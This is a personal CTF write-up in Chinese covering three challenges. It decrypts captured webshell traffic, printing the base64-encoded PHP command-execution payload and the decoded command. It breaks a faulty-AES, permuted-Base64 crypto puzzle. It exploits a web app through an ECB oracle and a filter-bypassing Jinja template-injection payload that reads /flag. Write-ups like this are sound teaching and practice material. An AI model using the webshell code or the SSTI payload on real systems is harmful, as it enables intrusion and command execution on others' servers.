2026数字中国-网络安全赛道北京赛区初赛个人WP
冰碧蝎?
首先提取出上传的webshell

1 |
|
发现使用AES-CBC-ZERO-IV模式进行流量加密,写出解密脚本:
1 | import base64 |
找到写入flag的加密流量:
1 | QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCwkcGF0aCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpKTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCkpOw0KfQ0KDQoKZnVuY3Rpb24gRW5jcnlwdCgkZGF0YSkKewogQHNlc3Npb25fc3RhcnQoKTsKICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJykpCiAgICAJewogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsKICAgIAkJCSAkZGF0YVskaV0gPSAkZGF0YVskaV1eJGtleVskaSsxJjE1XTsKICAgIAkJCX0KCQkJcmV0dXJuICRkYXRhOwogICAgCX0KICAgIGVsc2UKICAgIAl7CiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsKICAgIAl9Cn0KJGNtZD0iWTJRZ0wzWmhjaTkzZDNjdmFIUnRiQzkxY0d4dllXUXZJRHRsWTJodklESnBPVkU0UVhSR1JYVjZXVWg0ZDJOVmJYQnFSa05SWTJoVlpERlJjWGRSVFdZNGJWZG1kbFYzYlRsTVJUaFZZVXRXV1VSVVlYRTFkRWNnUGlCbVptWm1abVl4TVRGaFJ5QW1KaUJzY3c9PSI7JGNtZD1iYXNlNjRfZGVjb2RlKCRjbWQpOyRwYXRoPSJMM1poY2k5M2QzY3ZhSFJ0YkM5MWNHeHZZV1F2IjskcGF0aD1iYXNlNjRfZGVjb2RlKCRwYXRoKTsNCm1haW4oJGNtZCwkcGF0aCk7 |
解出:

解base64得到:
1 | // 省略多余内容 |
输入的命令:
1 | Y2QgL3Zhci93d3cvaHRtbC91cGxvYWQvIDtlY2hvIDJpOVE4QXRGRXV6WUh4d2NVbXBqRkNRY2hVZDFRcXdRTWY4bVdmdlV3bTlMRThVYUtWWURUYXE1dEcgPiBmZmZmZmYxMTFhRyAmJiBscw== |
1 | cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls |
将这个字符串base58解码得到flag:

base
task.py 做了三层处理:
生成一个随机 Base64 字母表置换 key。
对 flag连续执行两次:
b64encode(m).decode().translate(str.maketrans(table, key))将得到的字符串转为二进制位。每一位调用一次
decision(t):1
2
3
4
5def decision(t):
key = urandom(16)
aes = AES(key)
m = urandom(16 * 4500)
return [m, aes.encrypt_ecb(m)][t]
所以 output 里每个元素对应一位:0直接输出随机明文 m,1: 输出错误 AES 实现加密后的 m。压缩文件解压后共有 607 个块,每块 72000 字节。
区分 0/1:正常 AES 输出应该仍然接近均匀随机,理论上无法区分。但 aes.py 里的 S-box 有错误:

标准 AES 这里应为 0xCE,题目中写成了 0xCC,导致 S-box 中 0xCC 重复、0xCE 缺失。加密结果在每个字节位置的分布会缺少某些取值。因此对每个 72000 字节块按 16 字节分组,统计每个字节位置的 256 个取值。如果是 AES 输出,每个位置都会有一个明显不会出现的字节;如果是原始随机数据,4500 个样本下通常不会出现这种固定空洞。
可以写出分类代码:
1 | import ast |
得到两层置换后的 Base64 字符串:
1 | kccy2ybLSqcNoP+dHCc+HGv22pHNZCgqAqldLAvfnQLNoacbHC9b2Abo1g+NjAc2jymd2MvRo5m= |
求解 Base64 置换,设标准 Base64 字母表为:
1 | ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ |
加密用的是同一个未知置换 key,且执行两次:
1 | c = en(en(flag, key), key) |
已知:flag格式为 flag{uuid},UUID 是 version 4。md5(flag) == ec2783d8262e2621eece6e9e236479dc
可以用约束求解恢复置换。令P表示逆置换,即密文字母表字符回到标准 Base64 sextet 的映射:
- 对 c 用 P c’ji第一层 Base64,得到中间字符串 x。
- x 的每个字符也必须属于 Base64 字母表。
- 对 x的每个字符继续用 P 得到第二层标准 Base64 字符串。
- Base64 解码后必须满足
flag{uuid}格式。 - 枚举满足格式的模型,用 MD5 校验最终 flag。
求解flag脚本:
1 | from z3 import * |
1 | flag: flag{48a67e13-9999-479f-8e44-4fb39e28d417} |
secureDoc
文档的数字水印功能会返回加密后的密文,在传入的contents后拼接了固定的长度82字节的模板数据,测试发现加密可能使用了ECB加密,基于ECB Orcale复原模板数据:
1 | import requests |
得到:
1 | As text: *******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssYTViZWIy! ****** |
登录管理员账户进入管理面板,可以渲染模板进行模板注入,ban了 [] 与 _,使用|attr 与 get() 绕过,payload:
1 | {{cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('get')('os')|attr('popen')('cat /flag')|attr('read')()}} |
得到flag:
1 | flag{llcgKxIfacDwDDDCjAahLnxVnUfOTKpS} |